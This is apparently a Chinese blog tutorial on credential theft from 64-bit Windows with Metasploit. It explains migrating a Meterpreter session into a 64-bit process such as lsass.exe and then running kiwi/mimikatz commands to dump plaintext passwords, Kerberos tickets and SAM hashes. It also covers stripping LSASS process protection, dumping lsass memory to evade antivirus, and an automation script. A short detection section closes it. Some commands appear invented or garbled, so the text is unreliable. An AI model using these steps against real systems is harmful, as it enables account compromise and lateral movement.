实战演练:在64位Windows上,如何正确迁移进程让MSF的kiwi模块成功抓取明文密码

发布时间:2026/7/10 6:54:32

实战演练:在64位Windows上,如何正确迁移进程让MSF的kiwi模块成功抓取明文密码 实战演练在64位Windows上如何正确迁移进程让MSF的kiwi模块成功抓取明文密码当你第一次在64位Windows系统上兴奋地输入creds_all命令却只看到一片空白或报错信息时那种挫败感我深有体会。这不是kiwi模块失效了而是大多数教程没讲清楚的一个关键细节——进程架构匹配。本文将带你深入理解32/64位进程环境的差异并手把手演示如何通过正确迁移让kiwi模块发挥全部威力。1. 为什么kiwi模块在64位系统上会失效许多初学者以为只要获得system权限就能畅行无阻却忽略了Metasploit框架自身的设计特点。Meterpreter默认注入的是32位payload而64位系统的安全子系统如LSASS往往运行在64位模式。这种架构不匹配会导致API调用失败32位进程无法直接调用64位系统的关键API函数内存访问限制32位进程只能访问4GB地址空间中的部分区域数据结构错位64位系统的安全数据结构与32位存在偏移差异提示用sysinfo命令确认系统架构时如果看到x64-based PC却仍在32位进程中操作就是典型的问题场景。2. 诊断进程环境的实战步骤2.1 确认系统架构与进程状态首先建立meterpreter会话后立即执行sysinfo典型输出示例Computer : WIN-7A9ABCD1234 OS : Windows 10 (Build 19045) Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows关键观察点Architecture显示x64但Meterpreter显示x86/windows这种组合意味着你正在32位环境下操作64位系统2.2 识别合适的迁移目标进程运行进程列表命令ps筛选目标进程的标准x64架构在Arch列明确标注x64稳定进程选择系统核心进程如lsass.exe (安全子系统)svchost.exe (多个系统服务宿主)explorer.exe (用户界面外壳)相同权限确保目标进程具有SYSTEM权限可通过getuid确认推荐目标进程优先级进程名PID范围稳定性推荐指数lsass.exe500-800★★★★★★★★★★svchost.exe1000-2000★★★★☆★★★★☆explorer.exe2000-3000★★★☆☆★★★☆☆3. 安全迁移进程的关键技巧3.1 使用migrate命令的正确姿势基本语法migrate PID但直接迁移可能失败建议采用以下增强流程先创建新会话避免迁移失败导致连接中断run post/windows/manage/multi_meterpreter_inject -P payload -S使用-P参数预加载迁移migrate -P PID验证迁移结果sysinfo确认Meterpreter显示x64/windows3.2 常见错误处理方案错误1权限不足[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process.解决方案getsystem steal_token PID migrate PID错误2进程保护[-] Error: Unable to migrate to process.尝试注入到新创建的进程execute -f notepad.exe -H migrate 新PID4. kiwi模块的进阶使用姿势成功迁移到64位进程后加载kiwi模块load kiwi4.1 密码提取的多种姿势基础命令creds_all高级技巧组合直接调用mimikatz功能kiwi_cmd sekurlsa::logonpasswords导出Kerberos票据kiwi_cmd kerberos::list /export内存中提取NTLM哈希kiwi_cmd lsadump::sam4.2 数据持久化技巧将结果自动保存到数据库creds_all -o /root/loot.txt db_import /root/loot.txt使用自定义格式输出kiwi_cmd sekurlsa::logonpasswords | grep -i username\|password\|domain5. 实战中的精妙细节5.1 绕过AV的内存操作技巧现代杀毒软件会监控lsass.exe的内存访问可以使用定制版mimikatzkiwi_cmd ! !processprotect /process:lsass.exe /remove创建lsass.exe的转储文件dumpmem -p lsass.exe -f /tmp/lsass.dmp5.2 自动化迁移脚本将整个流程自动化保存为.rc文件# auto_migrate.rc sysinfo run post/windows/manage/migrate load kiwi creds_all执行方式msfconsole -r auto_migrate.rc6. 防御视角如何检测此类攻击作为蓝队成员应当监控异常进程注入非系统进程访问lsass.exe可疑的migrate操作进程突然改变架构特征kiwi模块特征特定DLL加载模式检测命令示例Get-Process | Where-Object { $_.Modules.ModuleName -contains kiwi }

相关新闻